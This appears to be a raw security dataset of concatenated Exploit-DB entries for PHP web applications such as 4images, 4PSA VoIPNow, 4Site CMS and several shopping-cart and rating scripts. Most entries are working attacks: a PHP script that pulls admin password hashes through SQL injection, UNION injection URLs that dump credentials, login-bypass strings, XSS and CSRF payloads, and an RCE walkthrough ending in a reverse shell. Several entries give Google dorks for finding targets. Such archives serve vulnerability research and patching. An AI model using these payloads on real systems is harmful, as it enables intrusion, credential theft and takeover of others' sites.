deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2487
Description: 4Images 1.7.x - 'search.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-10-08
Author: Synsta

Exploit:
#!/usr/bin/php
<?php
/*
4images 1.7.x Remote SQL Injection Vulnerability

Usage: php file.php [host] [path] [table prefix] [user id]

Googledork "powered by 4images 1.7.x"

Vulnerability: Disfigure
Research: h3llfyr3
Coding: Synsta.

PoC:
<target>/<4images_dir>/search.php?search_user=x%2527%20union%20select%20user_password%20from%204images_users%20where%20user_name=%2527ADMIN

[w4ck1ng] - w4ck1ng.com
*/
if(!$argv[3]){
die("Usage:
php $argv[0] [host] [path] [options] [table prefix] [user id]\n
Options:
-d: Determine table prefix\n
Example:
php $argv[0] domain.com /4images/ 4images_ 1
php $argv[0] domain.com /4images/ -d\n");
}
if(eregi("http://", $argv[1])){
die("Usage:
php $argv[0] [host] [path] [options] [table prefix] [user id]\n
Options:
-d: Determine table prefix\n
Example:
php $argv[0] domain.com /4images/ 4images_ 1
php $argv[0] domain.com /4images/ -d\n");
}
if($argv[3]=="-d"){
$pipe = fsockopen($argv[1],80);
if(!$pipe){
die("Cannot connect to host.");
} else {
$sql = "x%27";
$sql = urlencode($sql);
$req =  "GET $argv[2]"."search.php?search_user="."$sql HTTP/1.1\r\n";
$req .= "Host: $argv[1]\r\n";
$req .= "Connection: Close\r\n\r\n";
fwrite($pipe , $req);
while(!feof($pipe)) {
$data .= fgets($pipe);
}
$gdata= explode("FROM ",$data);
$gtab = explode("WHERE ",$gdata[1]);
$tab = trim($gtab[0]);
$tab = str_replace("users","",$tab);
if(eregi("<br />", $page)){ die("Failed.."); }else{ die("Table Prefix: $tab\n"); }
}
}
if($argv[4]){
$pipe = fsockopen($argv[1],80);
if(!$pipe){
die("Cannot connect to host.");
} else {
$sql = "x%27%20union%20select%20user_password%20from%20"."$argv[3]"."users%20where%20user_id%3D%27$argv[4]";
$sql = urlencode($sql);
$req =  "GET $argv[2]"."search.php?search_user="."$sql HTTP/1.1\r\n";
$req .= "Host: $argv[1]\r\n";
$req .= "Connection: Close\r\n\r\n";
fwrite($pipe , $req);
while(!feof($pipe)) {
$data .= fgets($pipe);
}
$gdata = explode("Unknown column '",$data);
$ghash = explode("' in 'where clause'",$gdata[1]);
$hash = $ghash[0];
if(strlen($hash) != 32){ die("Exploit failed..\n"); }else{ echo "Outputted Hash: $hash\n"; }
}
}
?>

# milw0rm.com [2006-10-08]
Exploit-DB #50193
Description: 4images 1.8 - 'limitnumber' SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2021-08-13
Author: Andrey Stoykov

Exploit:
# Exploit Title: 4images 1.8 - 'limitnumber' SQL Injection (Authenticated)
# Exploit Author: Andrey Stoykov
# Software Link: https://www.4homepages.de/download-4images
# Version: 1.8
# Tested on: Linux



Source Analysis:


Line #658

- User action defined

if ($action == "findimages") {


Line #661

- Vulnerable condition

$condition = "1=1";


Line #654

- Default limit 50

show_input_row($lang['results_per_page'], "limitnumber", 50);



Line #736

- Define limit start

$limitstart = (isset($HTTP_POST_VARS['limitstart'])) ? trim($HTTP_POST_VARS['limitstart']) : "";
if ($limitstart == "") {
  $limitstart = 0;


Line #743

- Define limit number

$limitnumber = trim($HTTP_POST_VARS['limitnumber']);
  if ($limitnumber == "") {
    $limitnumber = 5000;
  }


Line #763

- Define user input variables

$limitfinish = $limitstart + $limitnumber;



Line #786

- SQL statement

$sql = "SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_media_file, i.image_date".get_user_table_field(", u.", "user_name")."
            FROM ".IMAGES_TABLE." i
            LEFT JOIN ".USERS_TABLE." u ON (".get_user_table_field("u.", "user_id")." = i.user_id)
            WHERE $condition
            ORDER BY $orderby $direction

			// Vulnerable user input of limitnumber
            LIMIT $limitstart, $limitnumber";


Line #852

- Display user input defined previously

show_hidden_input("limitnumber", $limitnumber);



Exploit POC:


1+procedure+analyse(extractvalue(rand(),concat(0x3a,version())),1,1)--+-


HTTP Request:

POST /4images/admin/images.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 406
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/4images/admin/images.php?action=modifyimages
Cookie: 4images_lastvisit=[PII_REDACTED]; 4images_userid=1; sessionid=7ndqdr2u04gqs9gdme12vhco87
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: frame
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

__csrf=7aa2dd8597dfe4302237bbfeb200fbd8&action=findimages&image_id=&image_name=&image_description=&image_keywords=&cat_id=0&image_media_file=&image_thumb_file=&dateafter=&datebefore=&downloadsupper=&downloadslower=&ratingupper=&ratinglower=&votesupper=&voteslower=&hitsupper=&hitslower=&orderby=i.image_name&direction=ASC&limitnumber=1+procedure+analyse(extractvalue(rand(),concat(0x3a,version())),1,1)--+-



HTTP Response:

HTTP/1.1 200 OK
...
<b>XPATH syntax error: ':10.1.37-MariaDB'</b>
Exploit-DB #49945
Description: 4Images 1.8 - 'redirect' Reflected XSS
Type: webapps
Platform: php
Date: 2021-06-03
Author: Piyush Patil

Exploit:
# Exploit Title: 4Images 1.8 - 'redirect' Reflected XSS
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.4homepages.de/
# Software Link: https://www.4homepages.de/?download=4images1.8.zip&code=81da0c7b5208e172ea83d879634f51d6
# Version: 4Images Gallery 1.8
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-27308

-Description:
A cross-site scripting (XSS) vulnerability in the admin login panel in 4images version 1.8 allows remote attackers to inject JavaScript via the "redirect" parameter.


-Steps to reproduce:
1- Goto 4images admin panel page (demo instance: https://localhost/4images/admin/index.php)
2- Enter the credentials , Turn on the intercept and click on "Login"
3- copy paste the XSS payload after redirect=./../admin/index.php%3Fsessionid=xxxxxPASTEPAYLOADHERE
4-Forward the request and you can see XSS is triggered.
Exploit-DB #51147
Description: 4images 1.9 - Remote Command Execution (RCE)
Type: webapps
Platform: php
Date: 2023-03-30
Author: Andrey Stoykov

Exploit:
# Exploit Title: 4images 1.9 - Remote Command Execution (RCE)
# Exploit Author: Andrey Stoykov
# Software Link: https://www.4homepages.de/download-4images
# Version: 1.9
# Tested on: Ubuntu 20.04


To reproduce do the following:

1. Login as administrator user
2. Browse to "General" -> " Edit Templates" -> "Select Template Pack" -> "d=
efault_960px" -> "Load Theme"
3. Select Template "categories.html"
4. Paste reverse shell code
5. Click "Save Changes"
6. Browse to "http://host/4images/categories.php?cat_id=3D1"


// HTTP POST request showing reverse shell payload

POST /4images/admin/templates.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100=
101 Firefox/100.0
[...]

__csrf=3Dc39b7dea0ff[PII_REDACTED]d2a583c7a9&action=3Dsavetemplate&content=3D[=
REVERSE_SHELL_CODE]&template_file_name=3Dcategories.html&template_folder=3D=
default_960px[...]



// HTTP redirect response to specific template

GET /4images/categories.php?cat_id=3D1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100=
101 Firefox/100.0
[...]


# nc -kvlp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 43032
Linux kali 6.0.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.0.7-1kali1 (20=
22-11-07) x86_64 GNU/Linux
 13:54:28 up  2:18,  2 users,  load average: 0.09, 0.68, 0.56
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
kali     tty7     :0               11:58    2:18m  2:21   0.48s xfce4-sessi=
on
kali     pts/1    -                11:58    1:40  24.60s  0.14s sudo su
uid=3D1(daemon) gid=3D1(daemon) groups=3D1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$=20





--sgnirk-7d26becc-c589-46c6-a348-fe09d4b162fe--
Exploit-DB #18592
Description: 4Images Image Gallery Management System - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-03-13
Author: Dmar al3noOoz

Exploit:
########################################################################################################
# Title: 4images - Image Gallery Management System - [CSRF] Change mail user or admin  

# Author: Dmar al3noOoz  

# Mail : wafee_s[at]hotmail.com 

# Name : 4images - Image Gallery Management System

# dork : Google Dork: "4images - Image Gallery Management System"

# Software Link : http://www.4homepages.de

# Version: 1.7.7  
##############################################  Exploit  ##############################################  

<html>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "1062" );

function pausecomp(millis)
{
    var date = new Date();
    var curDate = null;

    do { curDate = new Date(); }
    while(curDate-date < millis);
}

function fireForms()
{
    var count = 1;
    var i=0;
    
    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
        
        pausecomp(pauses[i]);
    }
}
    
</script>
<form method="POST" name="form0" action="http://www.XXXXXX.com/patch/member.php">
<input type="hidden" name="user_email" value="you mail"/>
<input type="hidden" name="user_email2" value="you mail"/>
<input type="hidden" name="action" value="updateprofile"/>
</form>
</body>
</html>



-=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=-Greetz-=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=-
-=- v4-team.com - Evil-Cod3r - dmar hacker - dr.Dmar - Dmaral7roOob - Ra7aLAlgnob - Mr.law - Alkeasr20 - Mr.black - Cyber-CrysTaL    -=-
-=-                                          Team 19vr - RootAl3noz - all Friend - exploit-db.com                                    -=-
-=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-
Exploit-DB #49339
Description: 4images v1.7.11 - 'Profile Image' Stored Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-01-04
Author: Ritesh Gohil

Exploit:
# Exploit Title: 4images v1.7.11 - 'Profile Image' Stored Cross-Site Scripting
# Date: 30-12-2020
# Exploit Author: Ritesh Gohil
# Vendor Homepage: https://www.4homepages.de/
# Software Link: https://www.4homepages.de/download-4images
# Version: 1.7.11
# Tested on: Windows 10/Kali Linux

Vulnerable Parameters: Profile Image.

Attack Vector:
This vulnerability can results attacker to inject the XSS payload into the IMAGE URL and each time
any user will go to that URL, the XSS triggers, and the attacker can able to steal the cookie according to the crafted payload.

Steps-To-Reproduce:
1. Login into 4images admin panel.
2. Now go to the add images tab.
3. Now paste the below payload in the URL field.
ritesh"><img src=x onerror=confirm(1)>
4. Now click on add button. 
5. The XSS will be triggered.
Exploit-DB #18497
Description: 4PSA CMS - SQL Injection
Type: webapps
Platform: php
Date: 2012-02-19
Author: BHG Security Center

Exploit:
#################################################################################
# Exploit Title: 4PSA CMS SQL Injection Vulnerabilities
# Google Dork: "Communications solution from 4PSA."
# Date: 2012/02/19
# Category : [Web Application]
# Author: #BHG Security Center
# Discovered by : Nitrojen90
# WebSite:WwW.Black-hg.Org
# Software Link: http://www.4psa.com/
# Version: Last Version
# Security Risk::High
# Tested on: GNU/Linux - Windows
#################################################################################
# p0c :
#
# http://target.com/print.php?id=[SQL]
#
# write the code in front of the print.php?id= and enter for show all admin
#
# user & Pass.
#
# Eval Code : NULL UNION+SelEct+group_concat(uname,0x3a,pwd),2+FROM user--
#
#################################################################################

#################################################################################
# Special Thanks To : Net.Edit0r - 3H34N - A.Cr0x - 4M!N - ArYaIeIrAN -
G3n3rall
# Mr.XHat - Bl4ck.Viper - Dj.TiniVini
#################################################################################
# GreetZ : All Active Member in #BHG Security Center & md.r00t - hellboy -
fr0nk
#################################################################################
Exploit-DB #18965
Description: 4PSA VoIPNow Professional 2.5.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-06-01
Author: Aboud-el

Exploit:
4PSA VoipNow Professional 2.5.3 Reflected XSS / CSRF (Add Reseller) Vulnerabilities
==================================================================================

##################################################################################
.:. Author         :  Aboud-el [aboud_el@hotmail.com]
.:. Script         : http://www.4psa.com/
.:. Gr34T$ T0 [AtT4CKxT3rR0r1ST]
##################################################################################

===[ Exploit ]===

Reflected XSS
=============

http://SITE/index.php?nsextt='"<script>alert(document.cookie)</script>


CSRF (Add Reseller)
===================

<form method="POST" name="form0" action="http://SITE/content.php?screen=resellers/edit_reseller">
<input type="hidden" name="edit_reseller_cmd" value="1"/>
<input type="hidden" name="client_template_id" value="2"/>
<input type="hidden" name="company" value="....."/>
<input type="hidden" name="name" value="....."/>
<input type="hidden" name="login" value="....."/>
<input type="hidden" name="password" value="....."/>
<input type="hidden" name="cpassword" value="....."/>
<input type="hidden" name="phone" value="....."/>
<input type="hidden" name="fax" value="....."/>
<input type="hidden" name="email" value="....."/>
<input type="hidden" name="address" value="....."/>
<input type="hidden" name="city" value="....."/>
<input type="hidden" name="pcode" value="00961"/>
<input type="hidden" name="country_id" value="122"/>
<input type="hidden" name="region_id" value="2073"/>
<input type="hidden" name="timezone_id" value="197"/>
<input type="hidden" name="language" value="en"/>
<input type="hidden" name="notes" value="....."/>
<input type="hidden" name="billing_plan_id" value="274"/>
<input type="hidden" name="charging_identifier" value="....."/>
</form>
<form method="GET" name="form1" action="http://SITE/content.php?screen=resellers/resellers&">
<input type="hidden" name="name" value="value"/> 
</form>

</body>
</html>

##################################################################################
Exploit-DB #34883
Description: 4Site CMS 2.6 - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2010-10-19
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/44258/info

4Site CMS is prone to an SQL-injection vulnerability.

An attacker can exploit this issue to carry out unauthorized actions on the underlying database which may compromise the application and may aid in further attacks.

4Site CMS 2.6 is vulnerable; other versions may also be affected.

http://www.example.com/catalog/index.shtml?cat=-1+UNION+SELECT+@@version
Exploit-DB #7964
Description: 4Site CMS 2.6 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-02-03
Author: D.Mortalov

Exploit:
[WSEC-09-002] 4Site CMS <= 2.6 Multiple Remote SQL Injections


Developer site: http://www.4site.ru/

Discovered by D.Mortalov // wsec.ru


1. Auth Bypass

Login: 1'or'1
Password: 1'orâ€™1


2. Multiple Remote SQL Injections in 4site CMS modules

"Pages" module:
http://vulnerable.site/print/print.shtml?page=-1+union+select+1

"Portfolio" module:
http://vulnerable.site/portfolio/index.shtml?s=1&i=-1+union+select+1,2,3,4,5,6,7,8,9
http://vulnerable.site/portfolio/index.shtml?s=-1+union+select+1

"Hotels" module:
http://vulnerable.site/hotel/?h=-1+union+select+1

"News" module:
http://vulnerable.site/news/news1.shtml?id=-1+union+select+1,2,3,4

"FAQ" module:
http://vulnerable.site/faq/index.shtml?th=-1+union+select+1

# milw0rm.com [2009-02-03]
Exploit-DB #33914
Description: 4x CMS - 'login.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-03-21
Author: cr4wl3r

Exploit:
source: https://www.securityfocus.com/bid/39840/info

4xcms is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

4xcms r26 is vulnerable; other versions may also be affected. 

The following example data is available:

User: ' or '1=1
Pass: ' or '1=1
Exploit-DB #11833
Description: 4x CMS r26 - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-03-21
Author: cr4wl3r

Exploit:
=======================================================
4x cms <= r26 (Auth Bypass) SQL Injection Vulnerability
=======================================================


[+] 4xcms <= r26 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered by: cr4wl3r
[+] My id: http://inj3ct0r.com/author/945
[+] Original: http://inj3ct0r.com/exploits/11392
[+] Download : http://code.google.com/p/4xcms/downloads/list

[+] PoC: [path]/login.php
    User : ' or '1=1
    Pass : ' or '1=1

[+] Greetz: All member inj3ct0r.com


# Inj3ct0r.com [2010-03-22]
Exploit-DB #8515
Description: 5 star Rating 1.2 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-04-22
Author: zer0day

Exploit:
@@@@@@@@  @@@@@@@@  @@@@@@@    @@@@@@@@   @@@@@@@    @@@@@@   @@@ @@@  
@@@@@@@@  @@@@@@@@  @@@@@@@@  @@@@@@@@@@  @@@@@@@@  @@@@@@@@  @@@ @@@  
     @@!  @@!       @@!  @@@  @@!   @@@@  @@!  @@@  @@!  @@@  @@! !@@  
    !@!   !@!       !@!  @!@  !@!  @!@!@  !@!  @!@  !@!  @!@  !@! @!!  
   @!!    @!!!:!    @!@!!@!   @!@ @! !@!  @!@  !@!  @!@!@!@!   !@!@!   
  !!!     !!!!!:    !!@!@!    !@!!!  !!!  !@!  !!!  !!!@!!!!    @!!!   
 !!:      !!:       !!: :!!   !!:!   !!!  !!:  !!!  !!:  !!!    !!:    
:!:       :!:       :!:  !:!  :!:    !:!  :!:  !:!  :!:  !:!    :!:    
 :: ::::   :: ::::  ::   :::  ::::::: ::   :::: ::  ::   :::     ::    
: :: : :  : :: ::    :   : :   : : :  :   :: :  :    :   : :     :     
                                                                       

--[ Informations ]------------------------------------------------------

@author : zer0day (zer0day@vodkaorange.com)
@home : gotr00t.blogspot.com
@software : 5star_rating
@version : 1.0
@web site : http://www.maniacomputer.com/5star_rating/New_5Star.html

--[ Exploit ]-----------------------------------------------------------

---{{Authentification ByPass}}
Go to :
http://[TARGET]/5star_rating/admin/control_panel_sample.php
In username just enter : admin 'or' 1=1
and empty password

You are logged in Administrator !

Simply ?

--[ Proof Of Concept ]--------------------------------------------------

http://www.maniacomputer.com/5star_rating/admin/control_panel_sample.php

--[ End Of File ]-------------------------------------------------------

# milw0rm.com [2009-04-22]
Exploit-DB #6294
Description: 5 star review - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2008-08-24
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## XSS / Remote SQL Injection
##
## Five Star Review ( recommend.php item_id )
##
## http://review-script.com/
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.ReaL-HaCk.NeT
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploites :]]-
##
## User Exploite  >> www.TraGet.com/recommend.php?item_id=1'+union+select+0,concat_ws(0x3a,username,passtext),0,concat_ws(0x3a,username,passtext),0,0,0,0,0,0,0+from+review_users+limit+1,1/* 
## Admin Exploite >> www.TraGet.com/recommend.php?item_id=1'+union+select+0,concat_ws(0x3a,username,passtext),0,concat_ws(0x3a,username,passtext),0,0,0,0,0,0,0+from+review_admin/* 
##
## -[[ XSS ]]-
##
## www.TraGet.com/search/index.php?cmd=search&words= [[ XSS ]] &searchWhere=0&mode=normal
##
########################
########################
 
#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
:: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: Milw0rM :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2008-08-24]
Exploit-DB #5464
Description: 5th Avenue Shopping Cart - 'category_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-18
Author: Aria-Security Team

Exploit:
Aria-Security Team (Persian Security Team)
http://Aria-Security.Net (Persian)
http://Aria-Security.com (ENG)
--------------------------------------------
5th avenue Shopping Cart SQL Injection
Greetz: AurA, Kinglet, NULL


category_list.php?category_ID=-1/**/UNION/**/SELECT/**/1,username,password,4,5,6,7,8,9,10,11,12,13,14,15/**/FROM/**/login/*

note: if error says :table login does not exist the website is using a prefix for tables.


Regards,
The-0utl4w

# milw0rm.com [2008-04-18]
Exploit-DB #12266
Description: 60 cycleCMS 2.5.2 - Cross-Site Request Forgery (Change Username and Password)
Type: webapps
Platform: php
Date: 2010-04-16
Author: EL-KAHINA

Exploit:
========================================================================================                  
| # Title    : 60 cycleCMS V 2.5.2 CSRF Change Username & Password Exploit
| # Author   : EL-KAHINA                                                                                                                 
| # Home     : www.iqs3cur1ty.com/vb     
| # Web Site : http://php.opensourcecms.com/scripts/details.php?scriptid=337                                                                            
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : CSRF                                                                      
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
<html>
<body>
<h2>Change Username or Password</h2>
<p>Enter desired username and password.</p>
<form action="http://127.0.0.1/60cycleCMS.2.5.2/private/changeUserPass.php" method="post" name="changeUserPass">
Desired Username: <input name="user" type="text" /><br />
Desired Password: <input name="pass" type="password"/><br />
Confirm Desired Password: <input name="passConfirm" type="password"/><br />
<input type="button" value="Submit" onclick="checkForm(this.form)" />
</form>
</body>
</html>
 
==========================================
Greetz : Exploit-db Team 
all my friend :(Dz-Ghost Team ) 
im indoushka's sister
------------------------------------------